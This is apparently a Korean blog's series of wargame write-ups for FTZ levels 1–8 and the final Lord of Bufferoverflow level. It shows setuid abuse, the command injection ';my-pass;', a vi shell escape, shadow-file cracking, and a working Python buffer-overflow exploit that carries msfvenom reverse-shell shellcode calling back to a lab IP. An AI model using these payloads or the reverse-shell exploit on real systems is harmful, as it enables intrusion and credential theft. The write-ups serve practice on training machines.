용량이 2700인 shadow 파일이 숨겨져 있다고 한다.

간단하게 find 명령어를 이용해 찾으면 된다.


이전 문제와는 다르게 용량을 찾는 옵션을 추가해줘야한다. 

해당 옵션은 -size 이며 추가적으로 원하는 용량을 인자로 줘야한다. 찾는 용량은 2700이므로 2700을 준다.

find / -size 2700c 2> /dev/null

2700옆의 c는 찾고자 하는 용량의 단위가 byte라는 표시다. 만약 아무것도 안붙이면 b를 붙인것과 동일한 한블록인 512kb단위로 찾는다.

/etc/rc.d/found.txt라는 파일이 의심스럽다. 


cat으로 확인해보니 shadow 파일이 맞다.


브루트포싱을 돌려 비밀번호를 찾아내기 위해 일단 found.txt파일을 내 로컬 pc로 옮긴다.

명령은 scp를 사용해 옮겼다. scp 명령은 로컬파일을 원격지로, 원격파일을 로컬로 안전하게 복사해가는 명령이다.

사용 예

scp -P 22 <username@원격서버주소:파일주소/파일명> <로컬저장위치>
위 명령은 원격파일을 로컬로 복사하는 방법이다. P옵션은 ssh 포트가 22를 사용하면 생략해도 무관하다.


그리고 존더리퍼를 사용해 크랙을 했다. password가 잘 나온다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09

문제 hint는 /bin/level7을 실행하면 패스워드 입력을 요청한다고 한다.

패스워드 힌트가 가까이 있다고 한다.


또 다른 hint로 --_- 같은 부호가 있다.

일반적으로 이런 기호는 1과 0을 나타내는데 많이 사용하니까 1, 0으로 비교해봤다.


처음에는 전체 값을 2진수에서 10진수로 변환해서 정수를 입력했는데 답이 틀렸다고 한다.

그래서 8비트씩 끊어서 10진수로 변환하니 아스키 코드 같은 느낌이 오는 숫자가 나왔다.


python으로 변환해서 보니 mate라는 문자열이 나온다.


mate를 입력하니 문제가 풀렸다.





'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level8@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09

문제에 접속하면 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다. 라고 적혀있다.

쉘도 없어서 당황했지만 ctrl+c를 누르면 쉘이 나온다.


디렉터리의 리스트를 확인해보니 password라는 파일이 있다. 이걸 열어보니 다음 레벨의 비밀번호가 나왔다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level8@ftz  (0) 2017.11.09
[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08

문제 hint를 보면 /usr/bin/leve5를 실행하면 /tmp디렉터리에 level5.tmp라는 임시파일을 생성한다고 한다.


/usr/bin/level5를 실행하고 /tmp/leve5.tmp내용을 확인하려고 보니 사라졌다.

아마 생성하고 바로 삭제하는 것 같다.


일단 /tmp에 level5.tmp를 내 임의로 만들어 놓고 /usr/bin/level5를 실행한다.


/tmp/level5.tmp에 임시파일 내용이 덮어 씌워졌다.

아마 임시파일로 덮어 쓴 다음 권한이 level5가 아니라서 삭제가 안된 것 같다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08
[FTZ] level2@ftz  (0) 2017.11.08

힌트를 보면 /etc/xinetd.d에 백도어를 심었다고 한다.

일단 해당 디렉터리 리스트를 보면 backdoor라는 텍스트 파일이 있다.


이 파일을 cat명령으로 열어보면 xinetd 설정파일이 나온다.

service명은 finger다. finger 명령은 사용자 계정 정보와 최근 로그인 정보, 이메일, 예약 작업 정보 등을 볼 수 있는 명령어이다. 

이 명령을 실행하면 level5라는 user로 /home/level4/tmp/backdoor라는 파일을 실행하도록 설정하는 xinetd 설정파일이다.

finger 명령을 실행하면 level5의 권한으로 해당 파일을 실행한다는 의미다.


위와 같은 c언어로 my-pass명령을 실행하는 소스를 짜서 /home/level4/tmp/backdoor라는 이름으로 컴파일한다.


그리고 위와 같이 finger 명령을 실행한다.

사용 예:

finger [옵션]... [사용자명 ...] [user@host ...]

host 부분에 ftz를 썼다가 아무런 반응이 없어 localhost를 쓰니 문제가 풀린다.

'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08
[FTZ] level2@ftz  (0) 2017.11.08
[FTZ] level1@ftz  (0) 2017.11.08

hint를 보면 동시에 여러 명령어를 사용하려면?

문자열 형태로 명령어를 전달하려면? 이라고 나와있다.

일단 level4의 setuid를 가지고 있는 파일을 찾는다.

$ find / -user level4 -perm -4000 2> /dev/null

/bin/autodig라는 파일이 나온다. hint에 있던 소스를 사용하는 파일인것 같다.

여러 명령어를 동시에 사용하는 방법은 ;를 사용하는 방법이 있다.

;는 명령1;명령2;명령3 이런 식으로 사용하는데 명령1이 없는 명령이더라도 명령2를 실행한다.

이를 이용하면 쉽게 풀 수 있다.

그리고 문자열 형태로 명령어를 전달하려면? 이라는 부분은 ""(더블쿼터)를 이용하면 된다.


첫번째 인자가 가운데 명령어로 들어가는 점을 파악했으니 ";id;"를 주면 명령1;id;명령3을 실행해서

id를 실행시켜준다. 같은 방법으로 ";my-pass;"를 인자로 주면 level4의 권한으로 my-pass를 실행해 password를 출력하면서 문제를 클리어할 수 있다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level2@ftz  (0) 2017.11.08
[FTZ] level1@ftz  (0) 2017.11.08

hint를 보면 텍스트 파일 편집 중 쉘의 명령을 실행 시킬 수 있다고 한다.

아마 vi 편집기 실행 중 esc 후 !로 한개의 명령을 실행하는 방법을 이용하는 것 같다.


일단 level3의 권한을 가지고 있는 파일을 찾는다.

$ find / -user level3 -perm -4000 2> /dev/null

/usr/bin/editor 라는 파일이 나왔다.

vi편집기로 실행한다.


vi 편집기로 실행하면 빈 화면이 나온다.

이제 !sh을 실행한다.


쉘을 얻었다.

권한은 level3의 권한이다.

my-pass를 입력해 password를 출력해서 문제를 클리어 했다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08
[FTZ] level1@ftz  (0) 2017.11.08

hint를 보면 level2 권한으로 setuid가 걸린 파일을 찾으라고 한다.

find 명령어로 level2로 setuid가 걸린 파일을 찾는 명령을 실행한다.


$ find / -user level2 -perm -4000 2> /dev/null

/bin/ExecuteMe 라는 파일을 찾았다.


파일을 실행하면 my-pass와 chmod는 제외하고 한가지 명령을 실행시켜준다고 한다.

sh명령으로 쉘을 변경해주는 명령을 실행하면 쉘을 얻을 수 있다.

쉘로 my-pass를 실행하면 level2의 password를 출력한다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08
[FTZ] level2@ftz  (0) 2017.11.08
리버스쉘

1. metasploit을 이용해 쉘코드 생성

나의 내부 IP인 192.168.200.150과 임의의 PORT번호인 1234로 쉘코드를 생성하는 명령어를 입력한다.

명령어 :  "msfvenom -p linux/x86/shell_reverse_tcp -f python LHOST="192.168.200.150" LPORT=1234"

 출력된 쉘코드는 아래와 같다.

buf =  ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

2. python으로 exploit을 작성한다.
import socket
from struct import *

host = "192.168.113.128"
port = 6666

p = lambda x : unpack("<L", x)[0]

shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
shellcode += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
shellcode += "\xa8\xc8\x96\x68\x02\x00\x04\xd2\x89\xe1\xb0\x66\x50"
shellcode += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
shellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
shellcode += "\x0b\xcd\x80"

for i in range(0xff, 0x00, -1):
        for j in range(0x00, 0xff, 30):
                payload = "A"*44
                payload += chr(j)+chr(i)+"\xff\xbf"
                payload += "\x90"*100
                payload += shellcode

                print str(hex(p(chr(j)+chr(i)+"\xff\xbf")))
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((host, port))
                s.send(payload)
                s.recv(60)
                s.close()


3. 작성한 exploit 코드를 실행한다.


4. netcat으로 포트를 열어 대기한다.

브루트 포싱이 완료되면 아래와 같이 쉘이 따진 것을 확인할 수 있다.

my-pass에서 나온 비밀번호를 가지고 death_knight에 로그인해보니 txt파일이 하나 있어서 cat으로 출력해보니

아래와 같이 마패가 나온다. LOB 클리어~



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26

+ Recent posts